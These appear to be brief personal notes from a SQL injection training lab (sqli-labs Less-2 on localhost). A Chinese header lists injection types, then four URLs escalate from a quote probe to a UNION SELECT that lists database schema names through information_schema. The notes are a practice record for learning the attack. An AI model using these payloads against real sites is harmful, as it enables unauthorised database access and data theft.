明注-,-Bool盲注-,-时间盲注-,-报错注入
http://127.0.0.1/Less-2/?id=1
http://127.0.0.1/Less-2/?id=1%27
http://127.0.0.1/Less-2/?id=0%20union%20select%201,2,3--+
http://127.0.0.1/Less-2/?id=0%20union%20select%201,group_concat(schema_name),2%20from%20information_schema.schemata--+